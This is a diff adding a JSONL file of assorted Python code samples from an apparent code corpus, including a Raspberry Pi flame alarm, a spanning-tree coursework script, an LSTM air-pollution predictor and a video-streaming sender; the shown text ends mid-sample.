diff --git "a/1894.jsonl" "b/1894.jsonl" new file mode 100644--- /dev/null +++ "b/1894.jsonl" @@ -0,0 +1,692 @@ +{"seq_id":"249368024","text":"#!/usr/local/bin/python\nimport RPi.GPIO as GPIO\nimport time\nimport math\nimport bme680\n\nsensor = bme680.BME680(bme680.I2C_ADDR_SECONDARY)\nsensor.set_humidity_oversample(bme680.OS_2X)\nsensor.set_pressure_oversample(bme680.OS_4X)\nsensor.set_temperature_oversample(bme680.OS_8X)\nsensor.set_filter(bme680.FILTER_SIZE_3)\nsensor.set_gas_status(bme680.ENABLE_GAS_MEAS)\n\nsensor.set_gas_heater_temperature(320)\nsensor.set_gas_heater_duration(150)\nsensor.select_gas_heater_profile(0)\nGPIO.setmode(GPIO.BCM)\nGPIO.setwarnings(False)\n\nfire = 21\nbuzzer = 15\n\ndef setup():\n\n GPIO.setup(fire, GPIO.IN)\n GPIO.setup(15, GPIO.OUT)\n\n\ndef beep(number_of_times):\n\n beep_time = 0.5\n time_in_between_beeps = 0.2\n\n for i in range(number_of_times):\n GPIO.output(15, GPIO.HIGH)\n time.sleep(beep_time)\n GPIO.output(15, GPIO.LOW)\n time.sleep(time_in_between_beeps)\n\n\ndef loop():\n while True:\n\n global digFire\n digFire = GPIO.input(fire)\n\n if sensor.get_sensor_data():\n temp = sensor.data.temperature\n print(temp, \"Degree C.\")\n\n if digFire == 0 and temp > 35:\n warning = 'FIRE DETECTED!\\n'\n print(warning)\n beep(5)\n execfile(\"/usr/src/app/scripts/smsconfig.py\")\n\n else:\n safe = 'No fire detected\\n'\n print(safe)\n\n time.sleep(1)\nif __name__ == '__main__':\n try:\n setup()\n loop()\n except KeyboardInterrupt:\n pass\n GPIO.cleanup()\nGPIO.cleanup()\n","sub_path":"flamesensor/scripts/flamescript.py","file_name":"flamescript.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"369587454","text":"import random\n\ndef semente(numero, imprimirAte):\n print(\"\\n----------\")\n print(\"\\nSemente inserida: \", numero)\n print(\"Número de pseudos: \", imprimirAte)\n aleatorio(numero, imprimirAte)\n\ndef aleatorio(numero, imprimirAte):\n repetido = set()\n cont = 0\n i = 0\n j = 0\n lista=[]\n\n while numero not in repetido:\n cont += 1\n repetido.add(numero)\n numero = int(str(numero * numero).zfill(8)[2:6])\n lista.append(numero)\n\n for i in range(imprimirAte):\n j += 1\n total = len(lista)\n aindaTemProximo = (i+1 < total)\n print(\"Valor #\", j, \": \", lista[i])\n\n if aindaTemProximo:\n if(lista[i] == lista[i+1]):\n novaSemente = random.random()\n print(\"\\nValor repetido! Nova semente = \", novaSemente,\"\\n\")\n return aleatorio(novaSemente, imprimirAte)\n else:\n print(\"A Lista atingiu o limite em que chega com esta semente sem nenhuma repetição\")\n break\n \n \n\n\n \nnumero = int(input(\"Coloque a semente: \"))\nimprimirAte = int(input(\"Coloque quantos números pseudoaleatórios você deseja ver: \"))\nsemente(numero, imprimirAte)\n","sub_path":"GeradorPseudoAleatorio/TratamentoExcecao/GeradorComTratamentoRasc.py","file_name":"GeradorComTratamentoRasc.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"109906450","text":"from library import *\nfrom numpy import *\n\n# Calculate the mutual information from the joint probability table of two variables\ndef MutualInformation(jP):\n mi=0.0\n sum_col = sum(jP,axis=0)\n sum_row = sum(jP,axis=1) \n for rows in range(jP.shape[0]):\n for cols in range(jP.shape[1]):\n if(jP[rows,cols]!=0):\n mi += (jP[rows,cols]*log2(jP[rows,cols]/(sum_col[cols]*sum_row[rows])))\n\n return mi\n#\n# construct a dependency matrix for all the variables\ndef DependencyMatrix(theData, noVariables, noStates):\n MIMatrix = zeros((noVariables,noVariables))\n\n for i in range(noVariables):\n for j in range(noVariables):\n jPT = JPT(theData, i, j, noStates)\n MIMatrix[i][j] = MutualInformation(jPT)\n return MIMatrix\n\n# Function to compute an ordered list of dependencies \ndef DependencyList(depMatrix):\n depList=[]\n\n for rows in range(depMatrix.shape[0]):\n for cols in range(rows+1,depMatrix.shape[1]):\n depList.append([depMatrix[rows][cols],rows,cols]) \n depList.sort(reverse=True)\n return array(depList)\n#\n# Functions implementing the spanning tree algorithm \ndef SpanningTreeAlgorithm(depList, noVariables):\n spanningTree = []\n link = []\n new = True\n for node in depList:\n x, y = node[1], node[2]\n\n for i in range(len(link)):\n if(x in link[i] and y in link[i]):\n new = False\n break\n\n if(new):\n x_index = -1;\n y_index = -1;\n for i in range(len(link)):\n if(x in link[i]):\n x_index = i;\n if(y in link[i]):\n y_index = i;\n \n if(y_index!= -1 and x_index!= -1):\n new_lst = link[x_index] + link[y_index]\n del link[max(x_index,y_index)], link[min(x_index, y_index)]\n link.append(new_lst)\n spanningTree.append(node)\n \n if(x_index == -1 and y_index != -1):\n link[y_index].append(x)\n spanningTree.append(node)\n \n if(x_index !=-1 and y_index == -1):\n link[x_index].append(y)\n spanningTree.append(node)\n \n if x_index == -1 and y_index == -1 :\n link.append([x,y])\n spanningTree.append(node)\n \n new = True \n return array(spanningTree)\n\nnoVariables, noRoots, noStates, noDataPoints, datain = ReadFile(\"HepatitisC.txt\")\ntheData = array(datain)\nAppendString(\"results.txt\",\"Coursework Two Results by Aditya Chaturvedi (ac2917)\")\nAppendString(\"results.txt\",\"\") #blank line\n\nAppendString(\"results.txt\",\"Dependency Matrix\")\ndepMatrix = DependencyMatrix(theData, noVariables, noStates)\nAppendArray(\"results.txt\", depMatrix)\n\nAppendString(\"results.txt\",\"Dependency List\")\ndepList = DependencyList(depMatrix)\nAppendArray(\"results.txt\", depList)\n\nAppendString(\"results.txt\",\"Maximally weighted spanning tree\")\nspanningTree = SpanningTreeAlgorithm(depList, noVariables)\nAppendArray(\"results.txt\", spanningTree)\n\n\n\n\n\n","sub_path":"maximally_weighted_spanning_tree/max_weight_spanning_tree.py","file_name":"max_weight_spanning_tree.py","file_ext":"py","file_size_in_byte":3159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"115639815","text":"import hashlib\nimport json\nfrom typing import Any, Dict, Union\nfrom ._job import JobResult\n\njob_cache_version = '0.1.1'\n\nclass JobCache:\n def __init__(self, *, feed_name: Union[str, None]=None, feed_uri: Union[str, None]=None):\n import kachery_client as kc\n if (feed_name is not None) and (feed_uri is not None):\n raise Exception('You cannot specify both feed_name and feed_id')\n if feed_name is not None:\n feed = kc.load_feed(feed_name, create=True)\n elif feed_uri is not None:\n feed = kc.load_feed(feed_uri)\n else:\n raise Exception('You must specify a feed_name or a feed_uri')\n self._feed = feed\n def _cache_job_result(self, job_hash: str, job_result: JobResult):\n import kachery_client as kc\n cached_result = {\n 'jobCacheVersion': job_cache_version,\n 'jobHash': job_hash,\n 'jobResult': job_result.to_cache_dict()\n }\n\n obj = cached_result\n sf = self._feed.load_subfeed({'jobHash': job_hash})\n sf.append_message(obj)\n\n def _fetch_cached_job_result(self, job_hash:str) -> Union[JobResult, None]:\n import kachery_client as kc\n sf = self._feed.load_subfeed({'jobHash': job_hash})\n messages = sf.get_next_messages(wait_msec=0)\n if len(messages) > 0:\n obj = messages[-1] # last message\n if obj.get('jobCacheVersion', None) != job_cache_version:\n print('Warning: incorrect job cache version')\n return None\n try:\n return JobResult.from_cache_dict(\n obj['jobResult']\n )\n except Exception as e:\n print('Warning: problem retrieving cached result:', e)\n return None\n else:\n return None\n\ndef _hash_kwargs(kwargs: Any):\n if _is_jsonable(kwargs):\n return _get_object_hash(kwargs)\n else:\n import pickle\n pickle_data = pickle.dumps(kwargs)\n return hashlib.sha1(pickle_data).hexdigest()\n\ndef _is_jsonable(x: Any) -> bool:\n import json\n try:\n json.dumps(x)\n return True\n except:\n return False\n\ndef _compute_job_hash(\n function_name: str,\n function_version: str,\n kwargs: dict\n):\n kwargs_hash = _hash_kwargs(kwargs)\n hash_object: Dict[str, Any] = {\n 'job_hash_version': '0.1.0',\n 'function_name': function_name,\n 'function_Version': function_version\n }\n if _is_jsonable(kwargs):\n hash_object['kwargs'] = kwargs\n else:\n hash_object['kwargs_hash'] = _hash_kwargs(kwargs)\n return _get_object_hash(hash_object)\n\ndef _get_object_hash(hash_object: dict):\n return _sha1_of_object(hash_object)\n\ndef _sha1_of_string(txt: str) -> str:\n hh = hashlib.sha1(txt.encode('utf-8'))\n ret = hh.hexdigest()\n return ret\n\ndef _sha1_of_object(obj: object) -> str:\n txt = json.dumps(obj, sort_keys=True, separators=(',', ':'))\n return _sha1_of_string(txt)","sub_path":"hither2/_job_cache.py","file_name":"_job_cache.py","file_ext":"py","file_size_in_byte":3028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"167922591","text":"\"\"\" Created on Mon Mar 25 18:43:45 2019 @author: Vasanth \"\"\"\r\n\"\"\" Pollution_PM_2.5 \"\"\"\r\n#%%\r\nimport time\r\nfrom pandas import read_csv\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom matplotlib import pyplot\r\npyplot.rcParams[\"axes.titleweight\"] = \"bold\"\r\npyplot.rcParams[\"font.weight\"] = \"bold\"\r\npyplot.rcParams[\"axes.labelweight\"] = \"bold\"\r\n#%%\r\n#%%\r\n#load data with indexing(index_col = 0 is not used)\r\ndata = read_csv('Pollution_Input_2014_17_Mis.csv')\r\n# Dropping the unwanted rows (axis =0)\r\n#data = data.drop([0,1,2,3,4,5,6,7,8,9,10,11,12,13], axis=0)\r\n# Dropping the unwanted rows using ilocator\r\ndata = data.iloc[14:,]\r\n# Dropping the unwanted column \r\ndata = data.iloc[:,2:]\r\n# Dropping the unwanted last n rows\r\n#data.drop(data.tail(7).index,inplace=True)\r\n# Manually entering columns names\r\ndata.columns = ['Date','H1', 'H2', 'H3','H4','H5','H6','H7','H8','H9','H10',\r\n 'H11','H12','H13','H14','H15','H16','H17','H18','H19','H20',\r\n 'H21','H22','H23','H24']\r\n# Reindexing from 1\r\ndata.index = np.arange(1, len(data) + 1)\r\n# Droping the date column\r\ndata = data.drop(columns='Date')\r\n# Since the datatype is object it is converted to float64\r\ndata = data.apply(pd.to_numeric)\r\n# The data has missing and invalid data - replaced by NaN\r\ndata = data.replace([-999,9999], np.NAN)\r\n# Replaced nan values are filled with mean \r\ndata.fillna(data.mean(), inplace=True)\r\n#data['dates'] = pd.Timestamp('2016-11-06')\r\n# This converts 24hrs data in single series as required\r\nstacked_data = data.stack()\r\n# Dropping the unwanted column \r\n#stacked_data = stacked_data.iloc[:,0:]\r\n# Adding date and time with hourly frequency \r\ntimeframe = pd.date_range(start=\"1-Jan-2014\", end=\"1-Jan-2018\", freq='H') \r\nleap = []\r\nfor each in timeframe:\r\n if each.month==2 and each.day ==29:\r\n leap.append(each)\r\ntimeframe = timeframe.drop(leap)\r\n# datetimeindex to dataframe with changing the index\r\ntimeframe = timeframe.to_frame(index=False)\r\n# Reindexing from 1\r\ntimeframe.index = np.arange(1, len(timeframe) + 1)\r\ntimeframe.columns = ['Date']\r\n#Dropping the unwanted last n rows\r\ntimeframe.drop(timeframe.tail(1).index,inplace=True)\r\nstacked_data.to_csv('Pollution_Output_2014_17_Mis.csv', header = 'false')\r\nstacked_data = read_csv('Pollution_Output_2014_17_Mis.csv')\r\n# Reindexing from 1\r\nstacked_data.index = np.arange(1, len(stacked_data) + 1)\r\n# Naming the columns in the file\r\nstacked_data.columns = ['Day number','Hour','PM2.5']\r\n# Dropping the columns day number and hour\r\nstacked_data = stacked_data.drop(columns=[\"Day number\",\"Hour\"])\r\n# Merging it with date and time\r\ndataset = pd.concat([timeframe,stacked_data],axis=1)\r\n# Naming the index in the file\r\ndataset.index.name = 'Index'\r\ndataset.to_csv('Pollution_Output_2014_17_Mis.csv')\r\n#%%\r\n#%%\r\nf1 = dataset.plot(x='Date', y='PM2.5',color='blue', linestyle='-',linewidth=1)\r\npyplot.xlabel('Month (2014-2017)')\r\npyplot.ylabel('Fine particulate matter (PM2.5)')\r\npyplot.title('DataSet - Mississauga')\r\npyplot.margins(x=0,y=0)\r\npyplot.ylim(0,70)\r\npyplot.yticks(np.arange(0,70,10))\r\npyplot.grid()\r\npyplot.savefig('f1.svg',dpi=2540)\r\npyplot.savefig('f1.png',dpi=2540)\r\n#pyplot.clf()\r\n#%%\r\n#%%\r\nfrom sklearn.preprocessing import MinMaxScaler\r\n# ensure all data is float\r\nPM_values = dataset.drop(columns='Date')\r\n# normalize features\r\nscaler = MinMaxScaler(feature_range=(0,1))\r\nNorm_PM_values = scaler.fit_transform(PM_values)\r\n#%%\r\n#%%\r\nfrom pandas import DataFrame\r\nfrom pandas import concat\r\n# frame as supervised learning\r\ndef series_to_supervised(data, n_in=1, n_out=1, dropnan=True):\r\n\t\"\"\"\r\n\tFrame a time series as a supervised learning dataset.\r\n\tArguments:\r\n\t\tdata: Sequence of observations as a list or NumPy array.\r\n\t\tn_in: Number of lag observations as input (X).\r\n\t\tn_out: Number of observations as output (y).\r\n\t\tdropnan: Boolean whether or not to drop rows with NaN values.\r\n\tReturns:\r\n\t\tPandas DataFrame of series framed for supervised learning.\r\n\t\"\"\"\r\n\tn_vars = 1 if type(data) is list else data.shape[1]\r\n\tdf = DataFrame(data)\r\n\tcols, names = list(), list()\r\n\t# input sequence (t-n, ... t-1)\r\n\tfor i in range(n_in, 0, -1):\r\n\t\tcols.append(df.shift(i))\r\n\t\tnames += [('var%d(t-%d)' % (j+1, i)) for j in range(n_vars)]\r\n\t# forecast sequence (t, t+1, ... t+n)\r\n\tfor i in range(0, n_out):\r\n\t\tcols.append(df.shift(-i))\r\n\t\tif i == 0:\r\n\t\t\tnames += [('var%d(t)' % (j+1)) for j in range(n_vars)]\r\n\t\telse:\r\n\t\t\tnames += [('var%d(t+%d)' % (j+1, i)) for j in range(n_vars)]\r\n\t# put it all together\r\n\tagg = concat(cols, axis=1)\r\n\tagg.columns = names\r\n\t# drop rows with NaN values\r\n\tif dropnan:\r\n\t\tagg.dropna(inplace=True)\r\n\treturn agg\r\nSupervised_Norm_PM = series_to_supervised(Norm_PM_values,1,1)\r\nf = open(\"Pollution_ASupervised.txt\",\"w+\")\r\nSupervised_Norm_PM.to_csv(\"Pollution_ASupervised.txt\", sep='\\t', encoding='utf-8')\r\n#print(Supervised_Norm_PM.head())\r\n#%%\r\n#%%\r\n#Split the data for training(2014,2015), validation(2016), testing(2017)\r\nPM_values = Supervised_Norm_PM.values\r\nNhrs_train = 2*365*24\r\nTrain = PM_values[:Nhrs_train, :]\r\nNhrs_vali = 365*24\r\nTtl_Nhrs_vali = 3*365*24\r\nVali = PM_values[Nhrs_train:Ttl_Nhrs_vali, :]\r\nTest = PM_values[Ttl_Nhrs_vali:,:]\r\n#split into input and outputs\r\nTrain_IP,Train_OP = Train[:,:-1],Train[:,-1]\r\nVali_IP ,Vali_OP = Vali[:,:-1] ,Vali[:,-1]\r\nTest_IP ,Test_OP = Test[:,:-1] ,Test[:,-1]\r\n#reshape input to be 3D [samples, timesteps, features]\r\nTrain_IP = Train_IP.reshape((Train_IP.shape[0], 1, Train_IP.shape[1]))\r\nVali_IP = Vali_IP.reshape ((Vali_IP.shape[0], 1, Vali_IP.shape[1]))\r\nTest_IP = Test_IP.reshape ((Test_IP.shape[0], 1, Test_IP.shape[1]))\r\nprint(Train_IP.shape, Train_OP.shape, Vali_IP.shape, Vali_OP.shape, Test_IP.shape, Test_OP.shape)\r\n#%%\r\n#%%\r\n#Desgining the network\r\nfrom tensorflow import keras # high-level library for NN,running on top of TF\r\nfrom keras.models import Sequential\r\nfrom keras.layers.core import Dense\r\nfrom keras.layers.recurrent import LSTM\r\nfrom sklearn.metrics import mean_squared_error\r\n#from sklearn.metrics import mean_absolute_error\r\nfrom math import sqrt\r\nmodel = Sequential()\r\nmodel.add(LSTM(50, dropout=0.2,input_shape=(Train_IP.shape[1], Train_IP.shape[2])))\r\nmodel.add(Dense(1))\r\nmodel.compile(loss = 'mae', optimizer = 'adam')\r\nmodel.compile(loss = 'mse', optimizer = 'adam')\r\n#The patience parameter is the amount of epochs to check for improvement\r\nearly_stop = keras.callbacks.EarlyStopping(monitor='val_loss', patience=10)\r\n#fit network\r\nstart_time = time.clock()\r\nhistory = model.fit(Train_IP, Train_OP, epochs=100, batch_size=64, validation_data=(Vali_IP, Vali_OP),\r\n verbose=1,shuffle=False,callbacks=[early_stop])\r\nprint(\"--- %s seconds ---\" % (time.clock() - start_time))\r\n#plot history for training and validation loss values\r\n#%%\r\n#%%\r\nf2 = pyplot.figure(2)\r\n#pyplot.plot(history.history['loss'],color='black',linewidth=1,linestyle='-.')\r\n#pyplot.plot(history.history['val_loss'],color='black',linewidth=1,linestyle='-')\r\npyplot.plot(history.history['loss'],linewidth=1,linestyle='-.',color = 'k')\r\npyplot.plot(history.history['val_loss'],linewidth=1,linestyle='-', color = 'k')\r\npyplot.xlabel('Epoch')\r\npyplot.ylabel('Mean Absolute Error')\r\npyplot.title('Model Loss - Missusauga')\r\npyplot.legend(['Train', 'Validation'], loc='best')\r\npyplot.margins(x=0)\r\n#pyplot.xlim(0,10)\r\n#pyplot.xticks(np.arange(0,10,1))\r\npyplot.grid(b=True, which='major', color='#666666', linestyle='-')\r\n# Show the minor grid lines with very faint and almost transparent grey lines\r\npyplot.minorticks_on()\r\npyplot.grid(b=True, which='minor', color='#999999', linestyle='-', alpha=0.2)\r\npyplot.savefig('f2.svg',dpi=2540)\r\npyplot.savefig('f2.png',dpi=2540)\r\nf2.show(2)\r\n#pyplot.clf()\r\n#%%\r\n#%%\r\nf3 = pyplot.figure(3)\r\n#pyplot.plot(history.history['loss'],color='black',linewidth=1,linestyle='-.')\r\n#pyplot.plot(history.history['val_loss'],color='black',linewidth=1,linestyle='-')\r\npyplot.plot(history.history['loss'],linewidth=1,linestyle='-.', color = 'k')\r\npyplot.plot(history.history['val_loss'],linewidth=1,linestyle='-', color = 'k')\r\npyplot.xlabel('Epoch')\r\npyplot.ylabel('Mean Squared Error')\r\npyplot.title('Model Loss - Missusauga')\r\npyplot.legend(['Validation', 'Train'], loc='best')\r\npyplot.margins(x=0)\r\n#pyplot.xlim(0,10)\r\n#pyplot.xticks(np.arange(0,10,1))\r\npyplot.grid(b=True, which='major', color='#666666', linestyle='-')\r\n# Show the minor grid lines with very faint and almost transparent grey lines\r\npyplot.minorticks_on()\r\npyplot.grid(b=True, which='minor', color='#999999', linestyle='-', alpha=0.2)\r\npyplot.savefig('f3.svg',dpi=2540)\r\npyplot.savefig('f3.png',dpi=2540)\r\nf3.show(3)\r\n#%%\r\n#%%\r\n#Evaluate the model\r\nyhat = model.predict(Test_IP)\r\nTest_IP = Test_IP.reshape((Test_IP.shape[0], Test_IP.shape[2]))\r\n# invert scaling for forecast\r\ninv_yhat = scaler.inverse_transform(yhat)\r\n# invert scaling for actual\r\nTest_OP = Test_OP.reshape((len(Test_OP), 1))\r\ninv_y = scaler.inverse_transform(Test_OP)\r\n#%%\r\n#%%\r\nf4 = pyplot.figure(4)\r\n#pyplot.plot(v1)\r\n#pyplot.plot(v2)\r\npyplot.plot(inv_y, color = 'k', linestyle = '-.')\r\npyplot.plot(inv_yhat,color = 'k', linestyle = '--')\r\npyplot.xlabel('Time (Hrs) - 2017')\r\npyplot.ylabel('Fine particulate matter (PM2.5)')\r\npyplot.title('Comparison Plot - Mississauga')\r\npyplot.legend(['Actual PM2.5', 'Predicted PM2.5'], loc='best')\r\n#np.savetxt('A.out',inv_y)\r\n#np.savetxt('B.out',inv_yhat)\r\npyplot.xlim(0,8760)\r\npyplot.ylim(0,)\r\n#pyplot.xticks(np.arange(0,17500,2500))\r\npyplot.grid()\r\nsub_axes = pyplot.axes([.48, .6, .25, .25]) \r\nsub_axes.plot(inv_y[1:100])\r\nsub_axes.plot(inv_yhat[1:100])\r\npyplot.savefig('f4.svg',dpi=2540)\r\npyplot.savefig('f4.png',dpi=2540)\r\nf4.show(4)\r\nnp.savetxt('A.out',inv_y)\r\nnp.savetxt('B.out',inv_yhat)\r\n#%%\r\n#%%\r\nf5 = pyplot.figure(5)\r\nx = inv_y\r\ny = inv_yhat\r\npyplot.scatter(x,y, color = 'k')\r\npyplot.xlabel('Actual PM(2.5)')\r\npyplot.ylabel('Predicted PM(2.5)')\r\npyplot.title('Actual Vs Predicted - Mississauga')\r\npyplot.xlim(0,40)\r\npyplot.ylim(0,40)\r\n_ = pyplot.plot([0, 40], [0, 40],color = 'k')\r\npyplot.grid()\r\npyplot.savefig('f5.svg',dpi=2540)\r\npyplot.savefig('f5.png',dpi=2540)\r\nf5.show(5)\r\n#%%\r\n#%%\r\n# Performance metrics\r\n#calculate RMSE\r\nrmse = sqrt(mean_squared_error(inv_y, inv_yhat))\r\nprint('Test RMSE: %.3f' % rmse)\r\n#forecast_error = [inv_y[i]-inv_yhat[i] for i in range(len(inv_y))]\r\n#mean_sqared_error = np.mean((forecast_error^2), dtype=np.float64)\r\n#rmse = sqrt(mean_sqared_error)\r\n#rms = sqrt(mean_squared_error(inv_y, inv_yhat))\r\n#print('Test RMSE: %.3f' % rms)\r\n#calculate Percentage Error\r\nforecast_errors = [inv_y[i]-inv_yhat[i] for i in range(len(inv_y))]\r\nn_mean_abs_error = np.mean((np.abs(forecast_errors)), dtype=np.float64)\r\nd_mean_abs_error = np.mean(inv_y, dtype=np.float64)\r\nm_a_e =(n_mean_abs_error/d_mean_abs_error)*100\r\nprint('Forecast Errors: %s' % m_a_e)\r\n#%%\r\n#%%\r\n#Inspecting the model\r\n#model.output_shape\r\nmodel.summary()\r\n#model.get_config()\r\n#model.get_weights()\r\nfrom keras.utils.vis_utils import plot_model\r\nplot_model(model, to_file='model_plot.png', show_shapes=True, show_layer_names=True)\r\n#%%\r\n","sub_path":"LSTM_Pollution_prediction.py","file_name":"LSTM_Pollution_prediction.py","file_ext":"py","file_size_in_byte":11070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"252962474","text":"nu1,nu2=map(int,input().split())\nk=[]\nfor i in range(nu1+1,nu2+1):\n if i>1:\n for r in range(2,i):\n if(i%v==0):\n break\n else:\n k.append(r)\n print(len(k)+1)\n","sub_path":"9.py","file_name":"9.py","file_ext":"py","file_size_in_byte":169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"51479897","text":"from PIL import ImageDraw,Image\nimport socket\nimport sys\nimport cv2\nimport struct ## new\nimport pickle,os\nimport argparse\nimport time, datetime\nimport numpy as np\nimport threading\n# import matplotlib.pyplot as plt\nCLASSES = UCF24_CLASSES = ( # always index 0\n 'Basketball', 'BasketballDunk', 'Biking', 'CliffDiving', 'CricketBowling', 'Diving', 'Fencing',\n 'FloorGymnastics', 'GolfSwing', 'HorseRiding', 'IceDancing', 'LongJump', 'PoleVault', 'RopeClimbing',\n 'SalsaSpin','SkateBoarding', 'Skiing', 'Skijet', 'SoccerJuggling',\n 'Surfing', 'TennisSwing', 'TrampolineJumping', 'VolleyballSpiking', 'WalkingWithDog')\n\ndef str2bool(v):\n return v.lower() in (\"yes\", \"true\", \"t\", \"1\")\n\nparser = argparse.ArgumentParser(description='Demo Server')\nparser.add_argument('--showImage', default=False, type=str2bool, help='Show event detection image')\nparser.add_argument('--streamPort', default=9871, type=int, help='Port for streaming')\nparser.add_argument('--actionPort', default=8481, type=int, help='Port for action localization result')\nparser.add_argument('--cloudAddr', default=\"127.0.0.1\", type=str, help='Cloud ip address')\n# parser.add_argument('--cloudAddr', default=\"192.168.32.151\", type=str, help='Cloud ip address')\nparser.add_argument('--edgeAddr', default=\"127.0.0.1\", type=str, help='Edge ip address')\n# parser.add_argument('--edgeAddr', default=\"192.168.251.195\", type=str, help='Edge ip address')\n\nargs = parser.parse_args()\n\nif __name__ == '__main__':\n\t# read video\n\tprint('Loading dataset')\n\t# save np.load\n\tnp_load_old = np.load\n\n\t# modify the default parameters of np.load\n\tnp.load = lambda *a,**k: np_load_old(*a, allow_pickle=True, **k)\n\n\tlabel_file,index_file = 'label_file.npy', 'index_file.npy'\n\twith open(label_file, 'rb') as f:\n\t\tlabels = np.load(f)\n\twith open(index_file, 'rb') as f:\n\t\tindexes = np.load(f)\n\td=np.load(\"dataset.npy\").item()\n\timage_ids = d['ids']\n\tvideo_list = d['video_list']\n\n\t# restore np.load for future normal usage\n\tnp.load = np_load_old\n\tprint(labels.shape,indexes.shape)\n\n\t# # start listen for action\n\tfrom collections import deque\n\n\t# display/send video\n\tmeans = (104, 117, 123)\n\tout_send = cv2.VideoWriter('appsrc ! videoconvert ! x264enc tune=zerolatency bitrate=500 speed-preset=superfast ! rtph264pay ! udpsink host=127.0.0.1 port=8888',cv2.CAP_GSTREAMER,0, 20, (1024,512), True)\n\tif not out_send.isOpened():\n\t\tprint('VideoWriter not opened')\n\t\texit(1)\n\tprint('Start streaming.')\n\twhile True:\n\t\tpre_videoname = \"\"\n\t\tpre_videoid = -1\n\t\tstreaming_start_t = time.perf_counter()\n\t\tframe_cnt = 0\n\t\tfor label,index in zip(labels,indexes):\n\t\t\t# load img\n\t\t\timg_name = 'iobt_dataset/demo_data/{:05d}.png'.format(index)\n\t\t\tpil_img = Image.open(img_name)\n\t\t\timg = np.array(pil_img)\n\t\t\t# get video info\n\t\t\tannot_info = image_ids[index]\n\t\t\tvideo_id = annot_info[0]\n\t\t\tvideoname = video_list[video_id]\n\t\t\t# transform for displaying\n\t\t\tfor ch in range(0,3):\n\t\t\t\timg[:,:,ch] += means[2-ch]\n\t\t\t# whether to show image\n\t\t\tif args.showImage:\n\t\t\t\tb,g,r = cv2.split(img)\n\t\t\t\tframe_rgb = cv2.merge((r,g,b))\n\t\t\t\tcv2.imshow('Edge sending window',frame_rgb)\n\t\t\t\tcv2.waitKey(1)\n\t\t\t# streaming\n\t\t\tout_send.write(img)\n\t\t\tframe_cnt += 1\n\t\t\tif videoname != pre_videoname and pre_videoname != '':\n\t\t\t\tstreaming_time = time.perf_counter() - streaming_start_t\n\t\t\t\tfps = (frame_cnt-1)/streaming_time\n\t\t\t\tprint('[Video Sender]', pre_videoid,\\\n\t\t\t\t\t'total frames:{:03d}, total time:{:0.3f}s, speed:{:.1f}fps'.\\\n\t\t\t\t\t\tformat(frame_cnt-1,streaming_time,fps))\n\t\t\t\t# maybe publish something\n\t\t\t\t# time.sleep(10)\n\t\t\t\tstreaming_start_t = time.perf_counter()\n\t\t\t\tframe_cnt = 0\n\t\t\tpre_videoname = videoname\n\t\t\tpre_videoid = video_id\n\t\tstreaming_time = time.perf_counter() - streaming_start_t\n\t\tfps = (frame_cnt-1)/streaming_time\n\t\tprint('[Video Sender]', pre_videoid,\\\n\t\t\t\t'total frames:{:03d}, total time:{:0.3f}s, speed:{:.1f}fps'.\\\n\t\t\t\tformat(frame_cnt-1,streaming_time,fps))\n","sub_path":"stream_edge.py","file_name":"stream_edge.py","file_ext":"py","file_size_in_byte":3917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"159852478","text":"import tensorflow as tf\nimport tensorflow.contrib.layers as layers\nimport numpy as np\nimport argparse\nimport random\nimport os\nfrom PIL import Image\n\ndef init():\n parser = argparse.ArgumentParser()\n parser.add_argument('--gpu', type=str, default='0', help=\"gpu to use\")\n parser.add_argument('--gpu_fraction', type=float, default=0.8, help=\"fraction of gpu memory to use\")\n parser.add_argument('--categorical_cardinality', type=int, default=100, help=\"number of the characters to be loaded\")\n parser.add_argument('--data_path', type=str, default='../../demo/', help=\"path to save images\")\n parser.add_argument('--styles', type=str, default='cklxz', help=\"calligraphy style (sub folders)\")\n parser.add_argument('--image_size', type=int, default=64, help=\"the size of images trained\")\n parser.add_argument('--force_grayscale', type=bool, default=True, help=\"transform images into single channel or not\")\n parser.add_argument('--seed', type=int, default=1, help=\"random seed\")\n parser.add_argument('--lr', type=float, default=1e-3, help=\"learning rate\")\n parser.add_argument('--batch_size', type=int, default=64, help=\"batch size\")\n parser.add_argument('--epochs', type=int, default=1000, help=\"epochs\")\n parser.add_argument('--kernel', type=int, default=4, help=\"kernel size\")\n parser.add_argument('--stride', type=int, default=2, help=\"stride\")\n parser.add_argument('--class_dim', type=int, default=75, help=\"dimension of class vector\")\n parser.add_argument('--style_dim', type=int, default=75, help=\"dimension of style vector\")\n parser.add_argument('--reconstruct_coef', type=float, default=1.0, help=\"reconstruct coef\")\n parser.add_argument('--kl_coef', type=float, default=1.0, help=\"kl coef\")\n parser.add_argument('--generator_coef', type=float, default=1.0, help=\"generator coef\")\n parser.add_argument('--discriminator_coef', type=float, default=1.0, help=\"discriminator coef\")\n return parser.parse_args()\n\ndef locate(data_path, styles, max_label):\n imageName, imageDict = [], {}\n for i in range(len(styles)):\n path = os.path.join(data_path,styles[i])\n for basepath, directories, fnames in os.walk(path):\n for fname in fnames:\n flabel = int(fname.split('/')[-1].split('-')[0])\n if flabel < max_label:\n imageName.append(os.path.join(basepath,fname))\n if flabel not in imageDict: imageDict[flabel] = []\n imageDict[flabel].append(os.path.join(basepath,fname))\n return np.array(imageName), imageDict\n\ndef choice(image1,imageDict):\n image2 = []\n for fname in image1:\n flabel = int(fname.split('/')[-1].split('-')[0])\n image2.append(np.random.choice(imageDict[flabel]))\n return image2\n\ndef loader(imageName,desired_height,desired_width,value_range,force_grayscale=True):\n image_batch = None\n for fname in imageName:\n image = Image.open(fname)\n width, height = image.size\n if width != desired_width or height != desired_height:\n image = image.resize((desired_width, desired_height), Image.BILINEAR)\n if force_grayscale: \n image = image.convert(\"L\")\n img = np.array(image)\n if len(img.shape) == 2: \n img = 